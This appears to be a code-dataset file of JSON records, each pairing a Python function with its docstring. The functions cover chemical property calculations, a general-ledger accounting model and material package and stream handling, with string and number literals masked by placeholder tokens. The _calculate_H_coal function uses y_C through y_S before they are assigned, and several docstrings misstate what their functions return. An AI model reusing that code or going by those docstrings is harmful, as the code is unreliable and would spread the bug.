{"signature": "@property<EOL><INDENT>def Vm(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, s=self.Vms, l=self.Vml, g=self.Vmg)<EOL>", "docstring": "r'''Molar volume of the chemical at its current phase and\n        temperature and pressure, in units of [m^3/mol].\n\n        Utilizes the object oriented interfaces\n        :obj:`thermo.volume.VolumeSolid`,\n        :obj:`thermo.volume.VolumeLiquid`,\n        and :obj:`thermo.volume.VolumeGas` to perform the\n        actual calculation of each property.\n\n        Examples\n        --------\n        >>> Chemical('ethylbenzene', T=550, P=3E6).Vm\n        0.00017758024401627633", "id": "f15812:c0:m93"}
{"signature": "@property<EOL><INDENT>def rho(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, s=self.rhos, l=self.rhol, g=self.rhog)<EOL>", "docstring": "r'''Mass density of the chemical at its current phase and\n        temperature and pressure, in units of [kg/m^3].\n\n        Utilizes the object oriented interfaces\n        :obj:`thermo.volume.VolumeSolid`,\n        :obj:`thermo.volume.VolumeLiquid`,\n        and :obj:`thermo.volume.VolumeGas` to perform the\n        actual calculation of each property. Note that those interfaces provide\n        output in units of m^3/mol.\n\n        Examples\n        --------\n        >>> Chemical('decane', T=550, P=2E6).rho\n        498.67008448640604", "id": "f15812:c0:m94"}
{"signature": "@property<EOL><INDENT>def rhom(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, s=self.rhosm, l=self.rholm, g=self.rhogm)<EOL>", "docstring": "r'''Molar density of the chemical at its current phase and\n        temperature and pressure, in units of [mol/m^3].\n\n        Utilizes the object oriented interfaces\n        :obj:`thermo.volume.VolumeSolid`,\n        :obj:`thermo.volume.VolumeLiquid`,\n        and :obj:`thermo.volume.VolumeGas` to perform the\n        actual calculation of each property. Note that those interfaces provide\n        output in units of m^3/mol.\n\n        Examples\n        --------\n        >>> Chemical('1-hexanol').rhom\n        7983.414573003429", "id": "f15812:c0:m95"}
{"signature": "@property<EOL><INDENT>def Z(self):<DEDENT>", "body": "Vm = self.Vm<EOL>if Vm:<EOL><INDENT>return Z(self.T, self.P, Vm)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Compressibility factor of the chemical at its current phase and\n        temperature and pressure, [dimensionless].\n\n        Examples\n        --------\n        >>> Chemical('MTBE', T=900, P=1E-2).Z\n        0.9999999999079768", "id": "f15812:c0:m96"}
{"signature": "@property<EOL><INDENT>def SG(self):<DEDENT>", "body": "phase = self.phase<EOL>if phase == '<STR_LIT:l>':<EOL><INDENT>return self.SGl<EOL><DEDENT>elif phase == '<STR_LIT:s>':<EOL><INDENT>return self.SGs<EOL><DEDENT>elif phase == '<STR_LIT:g>':<EOL><INDENT>return self.SGg<EOL><DEDENT>rho = self.rho<EOL>if rho is not None:<EOL><INDENT>return SG(rho)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Specific gravity of the chemical, [dimensionless]. \n\n        For gas-phase conditions, this is calculated at 15.6 \u00b0C (60 \u00b0F) and 1 \n        atm for the chemical and the reference fluid, air. \n        For liquid and solid phase conditions, this is calculated based on a \n        reference fluid of water at 4\u00b0C at 1 atm, but the with the liquid or \n        solid chemical's density at the currently specified conditions.\n\n        Examples\n        --------\n        >>> Chemical('MTBE').SG\n        0.7428160596603596", "id": "f15812:c0:m97"}
{"signature": "@property<EOL><INDENT>def isobaric_expansion(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, l=self.isobaric_expansion_l, g=self.isobaric_expansion_g)<EOL>", "docstring": "r'''Isobaric (constant-pressure) expansion of the chemical at its\n        current phase and temperature, in units of [1/K].\n\n        .. math::\n            \\beta = \\frac{1}{V}\\left(\\frac{\\partial V}{\\partial T} \\right)_P\n\n        Examples\n        --------\n        Radical change  in value just above and below the critical temperature\n        of water:\n\n        >>> Chemical('water', T=647.1, P=22048320.0).isobaric_expansion\n        0.34074205839222449\n\n        >>> Chemical('water', T=647.2, P=22048320.0).isobaric_expansion\n        0.18143324022215077", "id": "f15812:c0:m98"}
{"signature": "@property<EOL><INDENT>def JT(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, l=self.JTl, g=self.JTg)<EOL>", "docstring": "r'''Joule Thomson coefficient of the chemical at its\n        current phase and temperature, in units of [K/Pa].\n\n        .. math::\n            \\mu_{JT} = \\left(\\frac{\\partial T}{\\partial P}\\right)_H = \\frac{1}{C_p}\n            \\left[T \\left(\\frac{\\partial V}{\\partial T}\\right)_P - V\\right]\n            = \\frac{V}{C_p}\\left(\\beta T-1\\right)\n\n        Examples\n        --------\n        >>> Chemical('water').JT\n        -2.2150394958666407e-07", "id": "f15812:c0:m99"}
{"signature": "@property<EOL><INDENT>def mu(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, l=self.mul, g=self.mug)<EOL>", "docstring": "r'''Viscosity of the chemical at its current phase, temperature, and\n        pressure in units of [Pa*s].\n\n        Utilizes the object oriented interfaces\n        :obj:`thermo.viscosity.ViscosityLiquid` and\n        :obj:`thermo.viscosity.ViscosityGas` to perform the\n        actual calculation of each property.\n\n        Examples\n        --------\n        >>> Chemical('ethanol', T=300).mu\n        0.001044526538460911\n        >>> Chemical('ethanol', T=400).mu\n        1.1853097849748217e-05", "id": "f15812:c0:m100"}
{"signature": "@property<EOL><INDENT>def k(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, s=None, l=self.kl, g=self.kg)<EOL>", "docstring": "r'''Thermal conductivity of the chemical at its current phase,\n        temperature, and pressure in units of [W/m/K].\n\n        Utilizes the object oriented interfaces\n        :obj:`thermo.thermal_conductivity.ThermalConductivityLiquid` and\n        :obj:`thermo.thermal_conductivity.ThermalConductivityGas` to perform\n        the actual calculation of each property.\n\n        Examples\n        --------\n        >>> Chemical('ethanol', T=300).kl\n        0.16313594741877802\n        >>> Chemical('ethanol', T=400).kg\n        0.026019924109310026", "id": "f15812:c0:m101"}
{"signature": "@property<EOL><INDENT>def nu(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, l=self.nul, g=self.nug)<EOL>", "docstring": "r'''Kinematic viscosity of the the chemical at its current temperature,\n        pressure, and phase in units of [m^2/s].\n\n        .. math::\n            \\nu = \\frac{\\mu}{\\rho}\n\n        Examples\n        --------\n        >>> Chemical('argon').nu\n        1.3846930410865003e-05", "id": "f15812:c0:m102"}
{"signature": "@property<EOL><INDENT>def alpha(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, l=self.alphal, g=self.alphag)<EOL>", "docstring": "r'''Thermal diffusivity of the chemical at its current temperature,\n        pressure, and phase in units of [m^2/s].\n\n        .. math::\n            \\alpha = \\frac{k}{\\rho Cp}\n\n        Examples\n        --------\n        >>> Chemical('furfural').alpha\n        8.696537158635412e-08", "id": "f15812:c0:m103"}
{"signature": "@property<EOL><INDENT>def Pr(self):<DEDENT>", "body": "return phase_select_property(phase=self.phase, l=self.Prl, g=self.Prg)<EOL>", "docstring": "r'''Prandtl number of the chemical at its current temperature,\n        pressure, and phase; [dimensionless].\n\n        .. math::\n            Pr = \\frac{C_p \\mu}{k}\n\n        Examples\n        --------\n        >>> Chemical('acetone').Pr\n        4.183039103542709", "id": "f15812:c0:m104"}
{"signature": "@property<EOL><INDENT>def Poynting(self):<DEDENT>", "body": "Vml, Psat = self.Vml, self.Psat<EOL>if Vml and Psat:<EOL><INDENT>return exp(Vml*(self.P-Psat)/R/self.T)<EOL><DEDENT>return None<EOL>", "docstring": "r'''Poynting correction factor [dimensionless] for use in phase \n        equilibria methods based on activity coefficients or other reference \n        states. Performs the shortcut calculation assuming molar volume is \n        independent of pressure.\n\n        .. math::\n            \\text{Poy} =  \\exp\\left[\\frac{V_l (P-P^{sat})}{RT}\\right]\n\n        The full calculation normally returns values very close to the\n        approximate ones. This property is defined in terms of\n        pure components only.\n\n        Examples\n        --------\n        >>> Chemical('pentane', T=300, P=1E7).Poynting\n        1.5743051250679803\n\n        Notes\n        -----\n        The full equation shown below can be used as follows:\n\n        .. math::\n            \\text{Poy} = \\exp\\left[\\frac{\\int_{P_i^{sat}}^P V_i^l dP}{RT}\\right]\n\n        >>> from scipy.integrate import quad\n        >>> c = Chemical('pentane', T=300, P=1E7)\n        >>> exp(quad(lambda P : c.VolumeLiquid(c.T, P), c.Psat, c.P)[0]/R/c.T)\n        1.5821826990975127", "id": "f15812:c0:m105"}
{"signature": "def set_parent_path(self, value):", "body": "self._parent_path = value<EOL>self.path = value + r'<STR_LIT:/>' + self.name<EOL>self._update_childrens_parent_path()<EOL>", "docstring": "Set the parent path and the path from the new parent path.\n\n:param value: The path to the object's parent", "id": "f15818:c1:m3"}
{"signature": "def create_account(self, name, number=None, description=None):", "body": "new_account = GeneralLedgerAccount(name, description, number,<EOL>self.account_type)<EOL>new_account.set_parent_path(self.path)<EOL>self.accounts.append(new_account)<EOL>return new_account<EOL>", "docstring": "Create a sub account in the account.\n\n:param name: The account name.\n:param description: The account description.\n:param number: The account number.\n\n:returns: The created account.", "id": "f15818:c1:m7"}
{"signature": "def remove_account(self, name):", "body": "acc_to_remove = None<EOL>for a in self.accounts:<EOL><INDENT>if a.name == name:<EOL><INDENT>acc_to_remove = a<EOL><DEDENT><DEDENT>if acc_to_remove is not None:<EOL><INDENT>self.accounts.remove(acc_to_remove)<EOL><DEDENT>", "docstring": "Remove an account from the account's sub accounts.\n\n:param name: The name of the account to remove.", "id": "f15818:c1:m8"}
{"signature": "def get_child_account(self, account_name):", "body": "if r'<STR_LIT:/>' in account_name:<EOL><INDENT>accs_in_path = account_name.split(r'<STR_LIT:/>', <NUM_LIT:1>)<EOL>curr_acc = self[accs_in_path[<NUM_LIT:0>]]<EOL>if curr_acc is None:<EOL><INDENT>return None<EOL><DEDENT>return curr_acc.get_child_account(accs_in_path[<NUM_LIT:1>])<EOL>pass<EOL><DEDENT>else:<EOL><INDENT>return self[account_name]<EOL><DEDENT>", "docstring": "Retrieves a child account.\nThis could be a descendant nested at any level.\n\n:param account_name: The name of the account to retrieve.\n\n:returns: The child account, if found, else None.", "id": "f15818:c1:m9"}
{"signature": "def _create_account_(self, name, number, account_type):", "body": "new_acc = GeneralLedgerAccount(name, None, number, account_type)<EOL>self.accounts.append(new_acc)<EOL>return new_acc<EOL>", "docstring": "Create an account in the general ledger structure.\n\n:param name: The account name.\n:param number: The account number.\n:param account_type: The account type.\n\n:returns: The created account.", "id": "f15818:c4:m3"}
{"signature": "def get_account(self, account_name):", "body": "if r'<STR_LIT:/>' in account_name:<EOL><INDENT>accs_in_path = account_name.split(r'<STR_LIT:/>', <NUM_LIT:1>)<EOL>curr_acc = self[accs_in_path[<NUM_LIT:0>]]<EOL>if curr_acc is None:<EOL><INDENT>return None<EOL><DEDENT>return curr_acc.get_child_account(accs_in_path[<NUM_LIT:1>])<EOL>pass<EOL><DEDENT>else:<EOL><INDENT>return self[account_name]<EOL><DEDENT>", "docstring": "Retrieves an account from the general ledger structure\ngiven the account name.\n\n:param account_name: The account name.\n\n:returns: The requested account, if found, else None.", "id": "f15818:c4:m4"}
{"signature": "def get_account_descendants(self, account):", "body": "result = []<EOL>for child in account.accounts:<EOL><INDENT>self._get_account_and_descendants_(child, result)<EOL><DEDENT>return result<EOL>", "docstring": "Retrieves an account's descendants from the general ledger structure\ngiven the account name.\n\n:param account_name: The account name.\n\n:returns: The decendants of the account.", "id": "f15818:c4:m5"}
{"signature": "def _get_account_and_descendants_(self, account, result):", "body": "result.append(account)<EOL>for child in account.accounts:<EOL><INDENT>self._get_account_and_descendants_(child, result)<EOL><DEDENT>", "docstring": "Returns the account and all of it's sub accounts.\n\n:param account: The account.\n:param result: The list to add all the accounts to.", "id": "f15818:c4:m6"}
{"signature": "def validate_account_names(self, names):", "body": "for name in names:<EOL><INDENT>if self.get_account(name) is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(name))<EOL><DEDENT><DEDENT>", "docstring": "Validates whether the accounts in a list of account names exists.\n\n:param names: The names of the accounts.\n\n:returns: The descendants of the account.", "id": "f15818:c4:m7"}
{"signature": "def report(self, format=ReportFormat.printout, output_path=None):", "body": "rpt = GlsRpt(self, output_path)<EOL>return rpt.render(format)<EOL>", "docstring": "Returns a report of this class.\n\n:param format: The format of the report.\n:param output_path: The path to the file the report is written to.\n  If None, then the report is not written to a file.\n\n:returns: The descendants of the account.", "id": "f15818:c4:m8"}
{"signature": "def create_transaction(self, name, description=None,<EOL>tx_date=datetime.min.date(),<EOL>dt_account=None, cr_account=None,<EOL>source=None, amount=<NUM_LIT>):", "body": "new_tx = Transaction(name, description, tx_date,<EOL>dt_account, cr_account, source, amount)<EOL>self.transactions.append(new_tx)<EOL>return new_tx<EOL>", "docstring": "Create a transaction in the general ledger.\n\n:param name: The transaction's name.\n:param description: The transaction's description.\n:param tx_date: The date of the transaction.\n:param cr_account: The transaction's credit account's name.\n:param dt_account: The transaction's debit account's name.\n:param source: The name of source the transaction originated from.\n:param amount: The transaction amount.\n\n:returns: The created transaction.", "id": "f15818:c5:m1"}
{"signature": "def transaction_list(self, start=datetime.min,<EOL>end=datetime.max,<EOL>format=ReportFormat.printout,<EOL>component_path=\"<STR_LIT>\",<EOL>output_path=None):", "body": "rpt = TransactionList(self, start, end, component_path, output_path)<EOL>return rpt.render(format)<EOL>", "docstring": "Generate a transaction list report.\n\n:param start: The start date to generate the report for.\n:param end: The end date to generate the report for.\n:param format: The format of the report.\n:param component_path: The path of the component to filter the report's\n  transactions by.\n:param output_path: The path to the file the report is written to.\n  If None, then the report is not written to a file.\n\n:returns: The generated report.", "id": "f15818:c5:m2"}
{"signature": "def balance_sheet(self, end=datetime.max,<EOL>format=ReportFormat.printout, output_path=None):", "body": "rpt = BalanceSheet(self, end, output_path)<EOL>return rpt.render(format)<EOL>", "docstring": "Generate a transaction list report.\n\n:param end: The end date to generate the report for.\n:param format: The format of the report.\n:param output_path: The path to the file the report is written to.\n  If None, then the report is not written to a file.\n\n:returns: The generated report.", "id": "f15818:c5:m3"}
{"signature": "def income_statement(self, start=datetime.min,<EOL>end=datetime.max,<EOL>format=ReportFormat.printout,<EOL>component_path=\"<STR_LIT>\",<EOL>output_path=None):", "body": "rpt = IncomeStatement(self, start, end, component_path, output_path)<EOL>return rpt.render(format)<EOL>", "docstring": "Generate a transaction list report.\n\n:param start: The start date to generate the report for.\n:param end: The end date to generate the report for.\n:param format: The format of the report.\n:param component_path: The path of the component to filter the report's\n  transactions by.\n:param output_path: The path to the file the report is written to.\n  If None, then the report is not written to a file.\n\n:returns: The generated report.", "id": "f15818:c5:m4"}
{"signature": "def run(self, streams):", "body": "pass<EOL>", "docstring": "Run the model.\n\n:param streams: A dictionary of streams in the model.\n:returns: The streams dictionary with the output streams calculated by\nthis model.\n\nIf the input streams to required by the model is not found in the\ndictionary, the model will create the streams by itself based on its\nparameters and input variables.", "id": "f15822:c0:m1"}
{"signature": "def _prepare_lines(self, lines):", "body": "result = list()<EOL>for line in lines:<EOL><INDENT>line = line.strip()<EOL>line = line.replace(\"<STR_LIT:\\t>\", \"<STR_LIT:U+0020>\")<EOL>while line.find(\"<STR_LIT:U+0020>\") > -<NUM_LIT:1>:<EOL><INDENT>line = line.replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:U+0020>\")<EOL><DEDENT>result.append(line)<EOL><DEDENT>return result<EOL>", "docstring": "Prepare the lines read from the text file before starting to\nprocess it.\n\n:param lines: The lines to prepare.", "id": "f15823:c0:m2"}
{"signature": "def _create_element_list(self):", "body": "element_set = stoich.elements(self.compounds)<EOL>return sorted(list(element_set))<EOL>", "docstring": "Extract an alphabetically sorted list of elements from the\nmaterial's compounds.\n\n:returns: Alphabetically sorted list of elements.", "id": "f15823:c0:m3"}
{"signature": "def get_compound_index(self, compound):", "body": "return self.compounds.index(compound)<EOL>", "docstring": "Determine the specified compound's index.\n\n:param compound: Formula and phase of a compound, e.g. \"Fe2O3[S1]\".\n\n:returns: Compound index.", "id": "f15823:c0:m6"}
{"signature": "def create_empty_assay(self):", "body": "return numpy.zeros(self.compound_count)<EOL>", "docstring": "Create an empty array to store an assay.\n\nThe array's length will be equal to the number of compounds in the\nmaterial.\n\n:returns: Empty assay array.", "id": "f15823:c0:m7"}
{"signature": "def add_assay(self, name, assay):", "body": "if not type(assay) is numpy.ndarray:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>elif not assay.shape == (self.compound_count,):<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>elif name in self.raw_assays.keys():<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self.raw_assays[name] = assay<EOL>self.converted_assays[name] = assay<EOL>", "docstring": "Add an assay to the material.\n\n:param name:  Assay name.\n:param assay: Numpy array containing the compound mass fractions for\n  the assay. The sequence of the assay's elements must correspond to\n  the sequence of the material's compounds.", "id": "f15823:c0:m8"}
{"signature": "def get_assay_total(self, name):", "body": "return sum(self.converted_assays[name])<EOL>", "docstring": "Calculate the total/sum of the specified assay's mass fractions.\n\n:param name: Assay name.\n\n:returns: Total mass fraction.", "id": "f15823:c0:m9"}
{"signature": "def create_package(self, assay=None, mass=<NUM_LIT:0.0>, P=<NUM_LIT:1.0>, T=<NUM_LIT>,<EOL>normalise=True):", "body": "if assay is None:<EOL><INDENT>return MaterialPackage(self, self.create_empty_assay(), P, T)<EOL><DEDENT>if normalise:<EOL><INDENT>assay_total = self.get_assay_total(assay)<EOL><DEDENT>else:<EOL><INDENT>assay_total = <NUM_LIT:1.0><EOL><DEDENT>return MaterialPackage(self, mass * self.converted_assays[assay] /<EOL>assay_total, P, T, self._isCoal(assay),<EOL>self._get_HHV(assay))<EOL>", "docstring": "Create a MaterialPackage based on the specified parameters.\n\n:param assay:     Name of the assay to be used to create the package.\n:param mass:      Package mass. [kg]\n:param P:         Package pressure. [atm]\n:param T:         Package temperature. [\u00b0C]\n:param normalise: Indicates whether the assay must be normalised\n  before creating the package.\n\n:returns: MaterialPackage object.", "id": "f15823:c0:m10"}
{"signature": "def create_stream(self, assay=None, mfr=<NUM_LIT:0.0>, P=<NUM_LIT:1.0>, T=<NUM_LIT>,<EOL>normalise=True):", "body": "if assay is None:<EOL><INDENT>return MaterialStream(self, self.create_empty_assay(), P, T)<EOL><DEDENT>if normalise:<EOL><INDENT>assay_total = self.get_assay_total(assay)<EOL><DEDENT>else:<EOL><INDENT>assay_total = <NUM_LIT:1.0><EOL><DEDENT>return MaterialStream(self, mfr * self.converted_assays[assay] /<EOL>assay_total, P, T, self._isCoal(assay),<EOL>self._get_HHV(assay))<EOL>", "docstring": "Create a MaterialStream based on the specified parameters.\n\n:param assay: Name of the assay to be used to create the stream.\n:param mfr: Stream mass flow rate. [kg/h]\n:param P: Stream pressure. [atm]\n:param T: Stream temperature. [\u00b0C]\n:param normalise: Indicates whether the assay must be normalised\nbefore creating the Stream.\n\n:returns: MaterialStream object.", "id": "f15823:c0:m11"}
{"signature": "def __add__(self, other):", "body": "<EOL>if type(other) is MaterialPackage:<EOL><INDENT>if self.material == other.material:  <EOL><INDENT>result = MaterialPackage(self.material,<EOL>self._compound_masses +<EOL>other._compound_masses)<EOL>result.H = self._H + other._H<EOL>result.P = self.P<EOL>return result<EOL><DEDENT>else:  <EOL><INDENT>H = self.H + other.H<EOL>result = self.clone()<EOL>for compound in other.material.compounds:<EOL><INDENT>if compound not in self.material.compounds:<EOL><INDENT>raise Exception(\"<STR_LIT>\" + other.material.name +<EOL>\"<STR_LIT>\" +<EOL>self.material.name +<EOL>\"<STR_LIT>\" + compound +<EOL>\"<STR_LIT>\" +<EOL>self.material.name + \"<STR_LIT>\")<EOL><DEDENT>result = result + (compound,<EOL>other.get_compound_mass(compound))<EOL><DEDENT>result.H = H<EOL>return result<EOL><DEDENT><DEDENT>elif self._is_compound_mass_tuple(other):<EOL><INDENT>compound = other[<NUM_LIT:0>]<EOL>index = self.material.get_compound_index(compound)<EOL>mass = other[<NUM_LIT:1>]<EOL>enthalpy = thermo.H(compound, self._T, mass)<EOL>result = self.clone()<EOL>result._compound_masses[index] = result._compound_masses[index] +mass<EOL>result._H += enthalpy<EOL>result._P = self._P<EOL>return result<EOL><DEDENT>elif self._is_compound_mass_temperature_tuple(other):<EOL><INDENT>compound = other[<NUM_LIT:0>]<EOL>index = self.material.get_compound_index(compound)<EOL>mass = other[<NUM_LIT:1>]<EOL>temperature = other[<NUM_LIT:2>]<EOL>enthalpy = thermo.H(compound, temperature, mass)<EOL>result = self * <NUM_LIT:1.0><EOL>result._compound_masses[index] = result._compound_masses[index] +mass<EOL>result.H = self._H + enthalpy<EOL>result._P = self._P<EOL>return result<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Addition operator (+).\n\nAdd this package (self) and 'other' together, return the result as a\nnew package, and leave self unchanged.\n\n:param other: Can can be one of the following:\n         1. MaterialPackage\n            'other' is added to self to create a new package.\n         2. tuple: (compound, mass)\n            The specified mass of the specified compound is added to \\\n            self, assuming the added material has the same \\\n            temperature as self.\n         3. tuple: (compound, mass, temperature)\n            The specified mass of the specified compound at the \\\n            specified temperature is added to self.\n\n:returns: A new Material package that is the sum of self and 'other'.", "id": "f15823:c1:m2"}
{"signature": "def __mul__(self, scalar):", "body": "<EOL>if type(scalar) is float or type(scalar) is numpy.float64 ortype(scalar) is numpy.float32:<EOL><INDENT>if scalar < <NUM_LIT:0.0>:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>result = MaterialPackage(self.material, self._compound_masses *<EOL>scalar, self._P, self._T)<EOL>return result<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "The multiplication operator (*).\n\nCreate a new package by multiplying self with scalar.\n\n:param scalar: The result is a new package with its content equal to\n  self multiplied by a scalar, leaving self unchanged.\n\n:returns: New MaterialPackage object.", "id": "f15823:c1:m3"}
{"signature": "def _calculate_H(self, T):", "body": "if self.isCoal:<EOL><INDENT>return self._calculate_Hfr_coal(T)<EOL><DEDENT>H = <NUM_LIT:0.0><EOL>for compound in self.material.compounds:<EOL><INDENT>index = self.material.get_compound_index(compound)<EOL>dH = thermo.H(compound, T, self._compound_masses[index])<EOL>H = H + dH<EOL><DEDENT>return H<EOL>", "docstring": "Calculate the enthalpy of the package at the specified temperature.\n\n:param T: Temperature. [\u00b0C]\n\n:returns: Enthalpy. [kWh]", "id": "f15823:c1:m4"}
{"signature": "def _calculate_DH298_coal(self):", "body": "m_C = <NUM_LIT:0>  <EOL>m_H = <NUM_LIT:0>  <EOL>m_O = <NUM_LIT:0>  <EOL>m_N = <NUM_LIT:0>  <EOL>m_S = <NUM_LIT:0>  <EOL>T = <NUM_LIT>  <EOL>Hin = <NUM_LIT:0.0>  <EOL>for compound in self.material.compounds:<EOL><INDENT>index = self.material.get_compound_index(compound)<EOL>if stoich.element_mass_fraction(compound, '<STR_LIT:C>') == <NUM_LIT:1.0>:<EOL><INDENT>m_C += self._compound_masses[index]<EOL>Hin = thermo.H(compound, T, self._compound_masses[index])<EOL><DEDENT>elif stoich.element_mass_fraction(compound, '<STR_LIT:H>') == <NUM_LIT:1.0>:<EOL><INDENT>m_H += self._compound_masses[index]<EOL>Hin = thermo.H(compound, T, self._compound_masses[index])<EOL><DEDENT>elif stoich.element_mass_fraction(compound, '<STR_LIT:O>') == <NUM_LIT:1.0>:<EOL><INDENT>m_O += self._compound_masses[index]<EOL>Hin = thermo.H(compound, T, self._compound_masses[index])<EOL><DEDENT>elif stoich.element_mass_fraction(compound, '<STR_LIT:N>') == <NUM_LIT:1.0>:<EOL><INDENT>m_N += self._compound_masses[index]<EOL>Hin = thermo.H(compound, T, self._compound_masses[index])<EOL><DEDENT>elif stoich.element_mass_fraction(compound, '<STR_LIT:S>') == <NUM_LIT:1.0>:<EOL><INDENT>m_S += self._compound_masses[index]<EOL>Hin = thermo.H(compound, T, self._compound_masses[index])<EOL><DEDENT><DEDENT>m_total = m_C + m_H + m_O + m_N + m_S  <EOL>Hout = <NUM_LIT:0.0>  <EOL>Hout += thermo.H('<STR_LIT>', T, cc(m_C, '<STR_LIT:C>', '<STR_LIT>', '<STR_LIT:C>'))<EOL>Hout += thermo.H('<STR_LIT>', T, cc(m_H, '<STR_LIT:H>', '<STR_LIT>', '<STR_LIT:H>'))<EOL>Hout += thermo.H('<STR_LIT>', T, m_O)<EOL>Hout += thermo.H('<STR_LIT>', T, m_N)<EOL>Hout += thermo.H('<STR_LIT>', T, cc(m_S, '<STR_LIT:S>', '<STR_LIT>', '<STR_LIT:S>'))<EOL>if self.HHV is None:<EOL><INDENT>HHV = Hout - Hin / m_total  <EOL><DEDENT>else:<EOL><INDENT>HHV = self.HHV / <NUM_LIT>  <EOL><DEDENT>return HHV + Hout / m_total<EOL>", "docstring": "Calculate the enthalpy of formation of the package at the specified temperature, in\ncase the material is coal.\n\n:returns: [kWh/kg] enthalpy of formation of daf coal", "id": "f15823:c1:m5"}
{"signature": "def _calculate_H_coal(self, T):", "body": "m_C = <NUM_LIT:0>  <EOL>m_H = <NUM_LIT:0>  <EOL>m_O = <NUM_LIT:0>  <EOL>m_N = <NUM_LIT:0>  <EOL>m_S = <NUM_LIT:0>  <EOL>H = <NUM_LIT:0.0>  <EOL>for compound in self.material.compounds:<EOL><INDENT>index = self.material.get_compound_index(compound)<EOL>if stoich.element_mass_fraction(compound, '<STR_LIT:C>') == <NUM_LIT:1.0>:<EOL><INDENT>m_C += self._compound_masses[index]<EOL><DEDENT>elif stoich.element_mass_fraction(compound, '<STR_LIT:H>') == <NUM_LIT:1.0>:<EOL><INDENT>m_H += self._compound_masses[index]<EOL><DEDENT>elif stoich.element_mass_fraction(compound, '<STR_LIT:O>') == <NUM_LIT:1.0>:<EOL><INDENT>m_O += self._compound_masses[index]<EOL><DEDENT>elif stoich.element_mass_fraction(compound, '<STR_LIT:N>') == <NUM_LIT:1.0>:<EOL><INDENT>m_N += self._compound_masses[index]<EOL><DEDENT>elif stoich.element_mass_fraction(compound, '<STR_LIT:S>') == <NUM_LIT:1.0>:<EOL><INDENT>m_S += self._compound_masses[index]<EOL><DEDENT>else:<EOL><INDENT>dH = thermo.H(compound, T, self._compound_masses[index])<EOL>H += dH<EOL><DEDENT><DEDENT>m_total = y_C + y_H + y_O + y_N + y_S  <EOL>y_C = m_C / m_total<EOL>y_H = m_H / m_total<EOL>y_O = m_O / m_total<EOL>y_N = m_N / m_total<EOL>y_S = m_S / m_total<EOL>hmodel = coals.DafHTy()<EOL>H = hmodel.calculate(T=T+<NUM_LIT>, y_C=y_C, y_H=y_H, y_O=y_O, y_N=y_N,<EOL>y_S=y_S) / <NUM_LIT>  <EOL>H298 = hmodel.calculate(T=<NUM_LIT>, y_C=y_C, y_H=y_H, y_O=y_O, y_N=y_N,<EOL>y_S=y_S) / <NUM_LIT>  <EOL>Hdaf = H - H298 + self._DH298  <EOL>Hdaf *= m_total  <EOL>H += Hdaf<EOL>return H<EOL>", "docstring": "Calculate the enthalpy of the package at the specified temperature, in\ncase the material is coal.\n\n:param T: [\u00b0C] temperature\n\n:returns: [kWh] enthalpy", "id": "f15823:c1:m6"}
{"signature": "def _calculate_T(self, H):", "body": "<EOL>x = list()<EOL>x.append(self._T)<EOL>x.append(self._T + <NUM_LIT>)<EOL>y = list()<EOL>y.append(self._calculate_H(x[<NUM_LIT:0>]) - H)<EOL>y.append(self._calculate_H(x[<NUM_LIT:1>]) - H)<EOL>for i in range(<NUM_LIT:2>, <NUM_LIT:50>):<EOL><INDENT>x.append(x[i-<NUM_LIT:1>] - y[i-<NUM_LIT:1>]*((x[i-<NUM_LIT:1>] - x[i-<NUM_LIT:2>])/(y[i-<NUM_LIT:1>] - y[i-<NUM_LIT:2>])))<EOL>y.append(self._calculate_H(x[i]) - H)<EOL>if abs(y[i-<NUM_LIT:1>]) < <NUM_LIT>:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return x[len(x) - <NUM_LIT:1>]<EOL>", "docstring": "Calculate the temperature of the package given the specified\nenthalpy using a secant algorithm.\n\n:param H: Enthalpy. [kWh]\n\n:returns: Temperature. [\u00b0C]", "id": "f15823:c1:m7"}
{"signature": "def _is_compound_mass_tuple(self, value):", "body": "if not type(value) is tuple:<EOL><INDENT>return False<EOL><DEDENT>elif not len(value) == <NUM_LIT:2>:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:0>]) is str:<EOL><INDENT>return False<EOL><DEDENT>elif not type(value[<NUM_LIT:1>]) is float andnot type(value[<NUM_LIT:1>]) is numpy.float64 andnot type(value[<NUM_LIT:1>]) is numpy.float32:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Determines whether value is a tuple of the format\n(compound(str), mass(float)).\n\n:param value: The value to be tested.\n\n:returns: True or False", "id": "f15823:c1:m8"}
